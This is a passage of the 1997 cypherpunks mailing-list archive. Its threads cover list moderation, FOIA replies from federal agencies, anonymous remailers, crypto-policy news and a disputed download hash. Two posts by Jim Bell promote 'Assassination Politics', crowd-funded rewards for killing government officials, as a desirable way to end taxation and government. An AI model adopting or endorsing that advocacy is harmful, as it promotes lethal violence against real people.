On Wed, 5 Feb 1997 10:45:30 -0800, Marshall Clow wrote:

>It wasn't really what he said that amazed me, because
>I had heard most of it (in bits and pieces) before. It
>was presenting it all in a package, in an emotional
>manner, by an elderly, conseratively dressed
>accountant who was representing a large
>corporation whose job it is to help people obey the
>government.


I'm almost certain that Murray is a consultant rather than
or in addition to an accountant. He's been saying these things
for years at conferences, in papers, on mailing lists, etc.

Mark







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 5 Feb 1997 14:57:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Edited Edupage, 4 February 1997
Message-ID: <199702052257.OAA06344@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"educom@educom.unc.edu"  5-FEB-1997 01:10:14.09
To:	IN%"edupage@elanor.oit.unc.edu"  "EDUCOM Edupage Mailing List"

>************************************************************
>Edupage, 4 February 1997.  Edupage, a summary of news about information
>technology, is provided three times a week as a service by Educom, a
>Washington, D.C.-based consortium of leading colleges and universities
>seeking to transform education through the use of information technology.
>************************************************************

>GATES SAYS OLD LAWS ARE GOOD ENOUGH FOR THE NET
>Microsoft's Bill Gates:  "It's always surprising how old concepts carry over
>into the new medium.  It's overly idealistic to act like, Oh, the Internet
>is the one place where people should be able to do whatever they wish:
>present child pornography, do scams, libel people, steal copyrighted
>material.  Society's values have not changed fundamentally just because it's
>an Internet page.  Take copyright.  Sure, there should be some
>clarifications about copyright, but the old principles work surprisingly
>well in the new medium.  Anybody who says you have to start over -- I don't
>agree with that."  (George Feb 97)

	Looks like he hasn't thought about enforcement problems, which
may fortunately prevent the application of unnecessary laws to the 'net.

>CULTURE CLASHES ON THE INTERNET
>At a session of the World Economic Forum in Davos, Switzerland, the issue of
>censorship on the Internet was debated from East/West perspectives, with the
>Eastern view represented by such countries as Singapore, Iran, and Egypt.
>Denmark foreign minister Uffe Ellemann-Jensen said, "Whenever you want to
>stop the free flow of information, you must ask yourself what is possible.
>The usual answer from politicians is we need international rules.  I say,
>forget it.  It won't happen."  Iranian mathematics professor Mohammed
>Lasijani countered:  "In the west, the issue is sometimes how to globalise
>liberalism:  how to export an ideology.  I am not a liberal, and I do not
>believe liberalism is the only way to a decent life."  (Financial Times 4
>Feb 97)

	Well, yes, neither did Adolf Hitler. Sorry, cultural differences
won't wash; individual liberties are more important than culture or
national sovreignty.

>Edupage is written by John Gehl <gehl@educom.edu> & Suzanne Douglas
><douglas@educom.edu>.  Voice:  404-371-1853, Fax: 404-371-8057.

>Technical support is provided by Information Technology Services at the
>University of North Carolina at Chapel Hill.

>**********************************************************
>Edupage ... is what you've just finished reading.  To subscribe to Edupage:
>send mail to: listproc@educom.unc.edu with the message:  subscribe edupage
>Edgar Allan Poe (if your name is Edgar Allan Poe;  otherwise, substitute
>your own name).  To unsubscribe send a message to: listproc@educom.unc.edu
>with the message: unsubscribe edupage.   (If you have subscription problems,
>send mail to manager@educom.unc.edu.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 5 Feb 1997 14:56:59 -0800 (PST)
To: mclow@owl.csusm.edu
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702052256.OAA06332@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"mclow@owl.csusm.edu"  "Marshall Clow"  5-FEB-1997 04:04:13.13

>At 4:05 PM -0800 2/4/97, aaron@herringn.com wrote:
>>
>>If I might make a suggestion:
>>
>>Some people want moderation. That's fine, I've never been very big on
>>letting other people choose what I read, but some people want it.
>>
>>For those who want it, let someone moderate the list for as long as
>>they care to do it. Approved messages get a "X-sandy-approved"
>>header. The responsibility for setting up a filter to toss everything
>>that doesn't have the header is the responsibility of the end user.
>>Toad will need to filter incoming posts to make sure they don't come
>>"pre-approved", but that's the only hole I can think of.
>>
>>Everyone gets all of the Cypherpunks list. Those who want moderation
>>filter the unapproved posts, those who want all of it get all of it.
>>
>>Hopefully, this will make (almost) everyone happy.
>>
>I like this idea.
>However, I would suggest an additional refinement:
>	Implement a cypherpunks-moderated list which
>is all the 'approved' messages. This way, people who wish
>to have the benefits of a filtered list are happy, people who
>wish to have posts rated for them (but be able to check on
>the "rater") are happy, and people who wish to see every
>message are happy.
>
>(I know that John has concerns about toad's mail capacity,
>and this may be too big a load)

	Lance's offer for informix to host the unmoderated
version of the list may be of assistance here.

>ObCrypto policy:
>	Was anyone else besides me amazed by the guy
>from Deloitte-Touche at the Internet Privacy Coalition luncheon
>last week? I mean, he all but advocated violent overthrow of
>the government. D-T is the most "establishment" of the big-6
>accounting firms, last time that I looked.

	What all did he have to say?
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 5 Feb 1997 14:56:45 -0800 (PST)
To: jer+@andrew.cmu.edu
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702052256.OAA06324@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"jer+@andrew.cmu.edu"  "Jeremiah A Blatz"  5-FEB-1997 06:54:01.96

>On the choke points note, mailing lists are better than usenet because
>legendary AOLers with there 5 free hours of fame and their ilk usually
>don't figure out how to pester mailing lists. Being on a mailing list
>usually requires a commitment, that is enough of a barrier for many of
>the usenet underirables.

	Umm... try reading list-managers for a while on AOL cluelessness
for mailing lists. The Usenet AOL undesirables also do things like reading
AOL's ever-so-helpful directory of mailing lists (some list managers have
asked to have their list taken _off_ of this directory).
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Wed, 5 Feb 1997 16:26:02 -0800 (PST)
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: "alt.cypherpunks" people?
Message-ID: <199702060026.QAA07528@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


In soc.culture.russian.moderated, the moderation bot has a special
feature that allows anonymous posters to establish and maintain
their "identities" and reputations.

igor

Rabid Wombat wrote:
> 
> 
> 
> On Wed, 5 Feb 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > Anil Das <das@sgi.com> writes:
> > 
> > > Adam Back wrote:
> > > > 
> > > > What do people think of starting an alt.cypherpunks USENET newsgroup?
> > > > 
> > > 
> > > I have only one objection. I will never post to an Usenet group
> > > under my real email address for fear of ending up in spammer
> > > databases.
> > > 
> > > -- 
> > > Anil Das
> > > 
> > 
> > Learn to use an anonymous remailer.
> > 
> 
> Unfortunately, if everyone is posting from "nobody@thevoid" or such, we'd 
> lose the "personalities" that make up the community. Why not use a "nym" 
> account to post - one that is configured to discard all incoming email?
> 
> -r.w.
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 5 Feb 1997 17:40:24 -0800 (PST)
To: Peter Hendrickson <pdh@best.com>
Subject: Re: Cypherpunks FOIA request
Message-ID: <199702060140.RAA08924@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:22 AM 2/5/97 -0800, Peter Hendrickson wrote:
>At 12:40 AM 2/5/1997, Greg Broiles wrote:
>> To date, I have received three responses: one from the SF office of the
FBI,
>> indicating that they have no records responsive to my request; one from
the
>> NSA, indicating that they are processing my request, and one from the
Secret
>> Service, asking for a copy of my signature. (I've got no clue why they
want
>> that; unless I screwed up, I believe my initial request was signed.)
>
>Have these organizations been known to lie?  What penalties does
>the organization or its employees face when they do so?  Have these
>penalties ever been applied?

Yes, various law enforcement agencies and intelligence agencies have been
willing to lie to the American public (and the world at large) from time to
time :) Pragmatically, the only penalty that the organization(s) and
individuals face is political, e.g., cuts in funding or loss of employment
due to public humiliation/embarrassment.

>Also, which exceptions in the FOIA law would allow them to respond
>dishonestly?

They are allowed to respond that "no records exist" even if records do exist,
where:

(1)	The records relate to an active criminal investigation, the subject of
the investigation is unaware of the investigation, and the disclosure of the
existence of records would likely disrupt law enforcement activity; (5 USC
552 (c)(1))

(2)	The records relate to a confidential informant, and the disclosure of the
existence of the records would tend to reveal the identity of the informant
(e.g., I suspect Joe Blow is an informant, so I make a FOIA request for
information gained from confidential informant Joe Blow; even if I receive
only blacked-out pages, the fact that the records exist tells me something
about Joe) (5 USC 552 (c)(2))

(3)	The records are classified, held by the FBI, and pertain to intelligence,
counterintelligence, or international terrorism. (5 USC 552 (c)(3))

They may also withhold information in other circumstances, but are not
otherwise allowed to say that "no records exist".

(There's something surreal about presuming careful attention to tiny legal
details from organizations which perpetrated debacles like COINTELPRO, Waco,
Ruby Ridge, perjury/manufacturing evidence in the FBI lab, etc. But sometimes
something interesting is released, e.g.,
<http://www.epic.org/privacy/wiretap/Scowcroft.gif>.)


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMvky//37pMWUJFlhAQE5tgf/QstFYJxNcJuRIQjF14a+3luyJgFe8MCp
UpMfykNKHmnbq+ChZCsmgXUCt49s0VFQYeMdNH1HWaaOcTtRr3uqNFqmyLBQxSne
PboMtzvl0Z6NKcP/DV1BwHxHJZbYVGPoPXDYd7xHvIsU0xRbHVOQgidgMJQmjf4E
4S/T3tovD+e1ahoSCBkZslLs/13pMstmDxz5tPd2mHwsFfLiklSaRUcKmtdkGPTc
da3VFFOjYlYB4ps4dkd7Vv6zgl4ZQJLMXZyoBsYrAax4k3eLuheVj/inZIqZFHvO
LqJPdCM34QurFXIOQmlo7sQnOvWPgc2ASdctV46lHTSJA6USIhbt9A==
=KAj+
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 19:40:51 -0800 (PST)
To: "P.J. Westerhof" <cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
Message-ID: <199702060340.TAA11391@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:50 PM 2/5/97 +0100, P.J. Westerhof wrote:
>At 18:12 4-02-97 -0800, you wrote:
>>Erland van Lidth de Jeude is a MIT grad.  He played the big badass in "Stir 
>>Crazy."  Computer science major, BTW.
>>
>He is quite a singer too (at least he was some years ago on Dutch TV).
>Perhaps that made the difference.  ;-)


He was on the fourth floor of the west parallel of East Campus, in about 
1977 as I recall.  I was on the third floor.  He was a wrestler; I heard he 
didn't have to work all that hard, he could just sit on the opponent and 
he'd win.

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 19:57:50 -0800 (PST)
To: "Robert Rothenburg 'Walking-Owl'" <cypherpunks@toad.com
Subject: Re: Letter Re: Kahn Supporting GAK
Message-ID: <199702060357.TAA11777@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:16 AM 2/5/97 +0000, Robert Rothenburg 'Walking-Owl' wrote:
>My letter to Long Island Newsday regarding David Kahn's pro-GAK
>editorial was published today. You can read it at
>
>    http://www.newsday.com/mainnews/rnmi052u.htm
>
>What's odd (?) is how they editied it. I directed my comments toward
>Mr. Kahn's views, which they changed to "Newsday" (odd, since I've
>never seen them print an editorial one way or another on GAK; does
>this mean they are taking a stand? -- Kahn is an editor at Newsday).
>
>I wrote "The greatest flaw in the argument is it's very reason,
>'criminals... are increasingly using encryption to conceal their plans
>and activities'" which they changed to "It reports...". I never
>considered an op-ed piece as "reporting", even if it states a fact.


But which "criminals," exactly, are "increasingly using encryption to 
conceal their plans and activities"?  Let's not concede this unless it's 
really true.

It would be far more accurate to say that it's likely that many people who 
are politically hostile to their government are using encryption in 
anticipation of persecution by the government, persecution that could easily 
come in the form of criminal charges.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Corey Minter <cminter@mipos2.intel.com>
Date: Wed, 5 Feb 1997 19:56:09 -0800 (PST)
To: Cypherpunks List <cypherpunks@toad.com>
Subject: mail list / sequence number & signature
Message-ID: <199702060356.TAA11738@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Have the list maintainers ever considered either or both of the
following...

(Sorry in advance if this has been brought up sometime in the past.)

o adding a digital signature from "owner-cypherpunks@toad.com", so
  someone can't mass mail the mailing list and make it appear that
  the message came from toad.com.

    I just tried to figure out if the id in the header is in any order
    but I couldn't tell.  I have already deleted many messages so some
    numbers are missing anyway.

o adding a sequence number to every message which comes through
  toad.com, so recipients can easily notice if mail is be
  accidentially or intentionally filtered by their service provider or
  any other forces.  At the same time, you could add the current
  numbers for flame vs.  non-flame.  This would help end all the
  bandwidth wasted on people speculating about the numbers.

    say there are X total messages, Y non-flames, and Z flames then
    the appearance to subscriber (either in the subject or some
    header field) could be...

                                list
                   
        type      | all                 non-flame           flame
        ----      | ---                 ---------           -----
        non-flame | X (non-flame Y)     Y (all X)
        flame     | X (flame Z)                             Z (all X)

-- 
Of course... these are my opinions, not my employer's.
______________________________________________________________________
Corey Minter                |
cminter@mipos2.intel.com    |
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 5 Feb 1997 17:38:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
Message-ID: <199702060138.RAA08870@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Rabid Wombat <wombat@mcfeely.bsfs.org> writes:

> 
> 
> On Wed, 5 Feb 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > Anil Das <das@sgi.com> writes:
> > 
> > > Adam Back wrote:
> > > > 
> > > > What do people think of starting an alt.cypherpunks USENET newsgroup?
> > > > 
> > > 
> > > I have only one objection. I will never post to an Usenet group
> > > under my real email address for fear of ending up in spammer
> > > databases.
> > > 
> > > -- 
> > > Anil Das
> > > 
> > 
> > Learn to use an anonymous remailer.
> > 
> 
> Unfortunately, if everyone is posting from "nobody@thevoid" or such, we'd 
> lose the "personalities" that make up the community. Why not use a "nym" 
> account to post - one that is configured to discard all incoming email?
> 
> -r.w.

Post as "nobody@nowhere.net", but mention e-mail address for replies
in the body of the article (or the signature).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 5 Feb 1997 17:42:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Deloitte-Touche?
Message-ID: <199702060142.RAB08939@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Marshall Clow <mclow@owl.csusm.edu> writes:

> Several people wrote:
> >I wrote:
> >>ObCrypto policy:
> >>        Was anyone else besides me amazed by the guy
> >>from Deloitte-Touche at the Internet Privacy Coalition luncheon
> >>last week? I mean, he all but advocated violent overthrow of
> >>the government. [...]
> >
> >For the benefit of those of us who were not at this luncheon (probably
> >not even in the same country), could you please say more about this,
> >Marshall?  What was the subject?  What _did_ the DT speaker say, exactly?
> >
> After a while, I stopped taking notes, because I was so astounded at
> what he was saying.
> (Maybe someone with more complete notes could post a better summary)
> 
> But, here a brief overview of the luncheon:
> 
> Last Wednesday, January 29th, the Internet Privacy Coalition had
> a "policy lunch" in San Francisco. It was in one of the hotels hosting
> the RSA conference, and at the same time that the conference was
> breaking for lunch, so it was easy for attendees to "switch lunches".
> 
> The speakers (as I remember, apologies to any I miss) were:
> 	Whit Diffie
> 	John Gilmore
> 	Kenneth Bass (counsel in Karn vs. Dept of State)
> 	Herb Lin (who ran the NRC staff for the crypto study)
> 	Marc Rotenberg
> 	William Hugh Murray (Deloitte & Touche)
> 	and a couple others that I missed, as I left early.
> 
> Mr. Murray gave a long, impassioned speech.
> 
> He said that the government is going to crack down on
> domestic possession and use of crypto, that they
> were looking to increase their wiretapping capabilities
> 100-fold, and so on.
> 
> He was very emphatic about not trusting anything
> that the government says, and that once they got
> their "foot in the door", that they would seek to
> expand their abilities to regulate, etc, etc.
> 
> He advocated deployment of strong crypto. He
> insisted that there was no way the government
> could stop the export of strong crypto. He exhorted
> people to refuse to obey the ITAR/EAR regulations,
> and to lobby their congresscritters to get the
> PRO-CODE bill passed.
> 
> 
> It wasn't really what he said that amazed me, because
> I had heard most of it (in bits and pieces) before. It
> was presenting it all in a package, in an emotional
> manner, by an elderly, conseratively dressed
> accountant who was representing a large
> corporation whose job it is to help people obey the
> government.
> 
> [ My father was an accountant. He worked for
> Deloitte-Touche, in fact. I don't expect accountants
> to be passionate about government regs, and
> especially not to advocate disobediance. Maybe
> that's why this affected me so strongly. ]
> 
> -- Marshall
> 
> Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>
> 
> Warning: Objects in calendar are closer than they appear.
> 
> 

I think Bill Murray might take offense at being called an accountant.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 5 Feb 1997 19:56:02 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Cypherpunks FOIA request
Message-ID: <199702060356.TAA11723@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:40 AM 2/5/97 -0800, Greg Broiles wrote:
>I'm not sure what I think about the response from the SF FBI branch - it
>seems unlikely that they'd never have paid any attention to the list, given
>the media coverage in Wired and other places.

My attorney used to fly planes with nuclear cargo. Another friend of mine
has been visited several times by the FBI. In either case, the FBI claimed
upon receiving an FOIA request that they have no record on either person.
Does anybody here believe that the USAF would let pilots take off with
nukes on board without ever conducting a background investigation (which
are handled by the FBI)? I didn't think so.





-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Wed, 5 Feb 1997 19:55:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: pgpmail 4.5
Message-ID: <199702060355.TAA11714@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


you wrote:

There is a pgpmail45.exe at ftp.hacktic.nl/pub/replay/pub/incoming.
The file has an md5 sum of 'ffd56d7647c30152a5c9fe7616a3d9ef'.

i downloaded the same.  md5 5ea438501d0133f0849c2fe8f9125b6b
can someone clear this up?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@ccmsd.chem.uga.edu>
Date: Wed, 5 Feb 1997 17:39:06 -0800 (PST)
To: stewarts@ix.netcom.com
Subject: Re: mail-to-news fun
Message-ID: <199702060139.RAA08879@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Feb 1997 stewarts@ix.netcom.com wrote:

> Alt.anonymous.messages is an interesting alternative, but one of the 
> ideals of posting news from a remailer is to allow people to 
> broadcast politically incorrect speech anonymously, avoiding censorship
> and retribution as much as possible.  This means letting people
> call Lee Kwan Yew a fascist, complain that OJ's a space alien,
> identify the person Hillary paid to off Vince Foster,
> or proclaim that Hubbard's Ahmaddiyya Witnesses are the One True 
> Religion -- Or post the One Page RSA+RC4 to the China newsgroups.

Hey, I agree. I allowed unlimited USENET posting from dustbin back in
October. I almost had to shut the whole remailer down and the only reason
I didn't was that I was able to hide it as a middleman. That's partly
because dickwads were (for example) posting spams about Tim May on
cypherpunks, and some people were complaining to my ISP.

> On several other hands, though, even if you limit news posting,
> trolls can abuse a remailer by sending email to large mailing lists.
> It'd certainly never happen to Cypherpunks :-), but some other
> mailing lists might attract trolls, and it's not easy to
> identify them in advance (though I suppose adding a disclaimer
> and cutmarks any time you post to something other than a 
> known remailer is a partial solution.)

I'm working (slowly, as I have time) on some new remailer software which
blocks by default and notifies the recipient that he can claim his
anonymous mail as soon as he "signs" the usage agreement (magic cookie
exchange).

--
Andy Dustman / Computational Center for Molecular Structure and Design / UGA
You can have my PGP public key by sending mail with subject "send file key".
You can have my PGP secret key when you pry it out of my cold, dead neurons.
http://charon.chem.uga.edu/~andy    mailto:andy@CCMSD.chem.uga.edu    <}+++<






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 21:25:59 -0800 (PST)
To: Sean Roach <cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199702060525.VAA13486@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:35 PM 2/5/97 -0800, Sean Roach wrote:
>At 09:09 PM 2/4/97 -0800, jim bell wrote:
>>However, fortunately I don't think it would make any difference in the 
>>overall effects.    While AP would eliminate the taxation which is commonly 
>>thought of as the main way a "rich person" loses assets, in practice it 
>>would also shut down the well-hidden systems that allow some people to get 
>>rich (or, merely live off somebody else) "unfairly."   Government agents 
>>come to mind, of course.
>>
>The money doesn't necessarily come from taxation, the owner of a business
>takes a cut of whatever money is made even if that person is unproductive.
>The tyrant would be the owner of the industry. 
 
The kind of effects I'm thinking of are primarily the "military spending" 
situations, where:

1.  Large numbers of potentially competent and useful people get put into 
useless jobs:  "Army, Navy, and Marines, and Air Force" spring to mind.   
(Those people who still think military spending is really necessary 
obviously haven't read AP.)

2.  Large amounts of money are spent on military hardware, money which goes 
to fund  people who would otherwise develop useful products in the 
non-government private sector.

3.  The patent system decreases competition, increases profits and prices in 
the marketplace due to government actions to allow and enforce monopolies.

4.  Government employees are paid more for their activities than they would 
receive in the private sector.  Ironically, in this case an 
"apples-to-apples" comparison is misleading:  It would be wrong to compare a 
middle level government manager to his counterpart in private industry, 
because to postulate there is such a government-job assumes that the 
private-sector would do it post-AP.  

 
>If you are right then governments would effectively lose the ability to tax,
>with or without representation, as most people do not agree on everything,
>like how their money is spent.  However, even now, as pointed out in some
>recent posts, our tax money is used to foreward the goals of a few, these
>few want to eliminate guns, crypto, free speech, ect.  Although we are in
>oppostition, our money is still used to foreward the goals. 

Yes, the main effect of AP is the elimination of the ability to tax.  Now, 
nothing would prevents individuals from continuing to fund an organization 
called a "government" so that it could do those (non-coercive) things that 
individual wants to see done.  But I think it'll be amazing how many of 
those heretofore-funded-by-govt projects (previously promoted as being 
wanted by a large fraction of the citizenry) that evaporate when the public 
is given the option to continue to fund them voluntarily.


Let's suppose, hypothetically and for vast simplification, the government 
engages in two activities, "A" and "B."   Further suppose government taxes 
from two groups, let's call them "Alphas" and "Betas."  It is traditionally 
thought that Alphas like spending on "A",  but hate spending on "B".   
Likewise, it is figured that Betas like spending on "B", don't like spending 
on "A".    

Post-AP, one might innocently suspect that maybe the "Alphas" would simply 
fund only "A",  while Betas" would donate money for activity "B".   Assuming 
the amount of funding for those activities was equal, you might think that 
things could go on as they already do.  But no.   The reality is that 
"Alphas" merely like spending on "A" _more_ than they do "B", and they will 
tolerate their own money being used for both only because the "Betas" are 
similarly forced.  Add volunteerism to the whole mix, and not only would 
these two groups only fund just what they really wanted, they would soon 
discover they don't even want the level of spending they previously argued 
for, pre-AP.

In practice, those services people like will continue, but it is highly 
unlikely that they will be supply by organizations which evolve from those 
currently called "governments."


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Feb 1997 21:41:10 -0800 (PST)
To: "Attila T. Hun" <cypherpunks@toad.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702060541.VAA13773@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:41 PM 2/5/97 +0000, Attila T. Hun wrote:
>
>+Put simply, "anarchy is not the lack of order.  It is the lack of
>+_orders_."
>
>    disagree. pure anarchy is not the lack of "orders" --pure anarchy 
>    implies that everyone is imbued with that perfect sense of 
>    responsibility.

>From which hat do you pull this rabbit?

>
>+>        anarchy is only possible in an ideal world where _everyone_ 
>+>    assumes not only responsibility for themselves, but for the common 
>+>    good.  no malice, no greed, no need for assassination politics....
>
>+No, that's traditional thinking and that's wrong.  See AP part 8. 
>+Freud  believed (as "everyone" else believed, even myself, before AP)
>+that anarchy  was inherently unstable.  But it ISN'T, if the tools of
>+AP are used to  stabilize it.  And no, no altruism is necessary for AP
>+to work as well; no  individuals are being asked to sacrifice
>+themselves for the common good.    Rather, they are given the
>+opportunity to work to achieve a reward offered,  cumulatively, by a
>+number of citizens.
>
>    aah, but that is the difference between a _pure_ anarchy and a  
>    _popular_ anarchy.  A pure _anarchy_ is sufficiently idealistic in 
>    that _noone_ lacks the necessary resonsibility to keep society 
>    moving, each individual in their own niche.

Why, exactly, is it "necessary" to "keep society moving"?   Isn't that 
somewhat of a contradiction in terms?  (particularly when you are discussing 
the subject, "anarchy."  It seems you don't really understand what the word 
"anarchy" means.   Sigh.


>   As long as there is 
>    perfect responsibility in a perfect anarchy, then there is no need 
>    for AP.

Are you saying that for  a world that has ALREADY achieved anarchy, and we 
presume "perfect responsibility," AP is not necessary to maintain this 
state?   Well, that's a rather limited assertion; some would argue it's 
practically meaningless.  

Isn't that somewhat like saying, "A perfectly-balanced inverted pendulum 
needs no mechanism to keep it pointing straight up."?  True, perhaps, but 
how do you get that "perfectly-balanced" part right?


>    AP is a negative, or _punative_, influence; I might liken it to the 
>    Catholic Church which is a religion of fear, and an instrument of
>    political control.

Actually, it's quite the opposite:  AP is the absolute prohibition on and/or 
destruction of any "instrument of political control."

Now, to a person who thinks that the natural state of the world is a 
condition of political control (and it wouldn't be hard to understand why a 
person could come to this conclusion, given the bulk of history), the 
ABSENSE of political control "looks like" political control.

This is, obviously, akin to the optical illusion where you stare intently at 
a pattern of color on a page (the American flag is often used) for a minute 
or two, and then you suddenly glance towards a white sheet of paper on 
which, as I recall, immediately appears a complementary flag of green and 
black stripes, and black stars on a yellow field.

AP destroys the mechanisms that societies use for much political control.  

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Feb 1997 17:43:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: MA Electronic Records and Signature Act
Message-ID: <199702060143.RAA08991@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Wed, 5 Feb 1997 19:08:30 -0500 (EST)
To: Multiple Recipients of e$pam <e$pam@intertrader.com>
From: e$pam@intertrader.com (e$pam)
Reply-To: e$@thumper.vmeng.com
X-Comment: To unsubscribe, send any email to e$pam-off@intertrader.com
Precedence: Bulk
Subject: MA Electronic Records and Signature Act
X-orig-from: EskWIRED <eskwired@shore.net>
X-e$pam-source: bounce-dcsb@ai.mit.edu

Forwarded by Robert Hettinga

-----------------------------------------------------------------------
Date: Wed, 5 Feb 1997 17:27:30 -0500 (EST)
 From: EskWIRED <eskwired@shore.net>
 To: dcsb@ai.mit.edu
 Subject: MA Electronic Records and Signature Act
 MIME-Version: 1.0
 Sender: bounce-dcsb@ai.mit.edu
 Precedence: bulk
 Reply-To: EskWIRED <eskwired@shore.net>



 A discussion draft of the MA Electronic Records and Signatures Act is now
 available on the web at http://www.magnet.state.ma.us/itd/legal/mersa.htm.

 The draft appears to be very preliminary--entire sections are marked
 [under development].

 It is notable for its brevity, especially compared to the Utah Statute.
 Noticeably absent is any language dealing with  licensure of certification
 authorities (bravo!).

 A link is provided for submission of public comments to Ray Campbell and
 Dan Greenwood.


            =========================================================
                     ---------EskWIRED@shore.net------------
            =========================================================

 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 To unsubscribe from the dcsb list, send a letter to: Majordomo@ai.mit.edu
 In the body of the message, write:  unsubscribe dcsb
 Or, to subscribe,           write:  subscribe dcsb
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--------------------------------------------------
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HTMLurgist: Cynthia Zwerling <mailto:czrider@@webstuff.apple.com>

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Feb 1997 17:40:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Remember the Blackout
Message-ID: <199702060140.RAA08925@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Wed, 5 Feb 1997 19:12:47 -0500 (EST)
To: Multiple Recipients of e$pam <e$pam@intertrader.com>
From: e$pam@intertrader.com (e$pam)
Reply-To: e$@thumper.vmeng.com
X-Comment: To unsubscribe, send any email to e$pam-off@intertrader.com
Precedence: Bulk
Subject: Remember the Blackout
X-orig-from: dwiner@well.com (DaveNet email)
X-e$pam-source: owner-davenetworld@wired.com

Forwarded by Robert Hettinga

-----------------------------------------------------------------------
X-Sender: dwiner@mail.well.com
 Mime-Version: 1.0
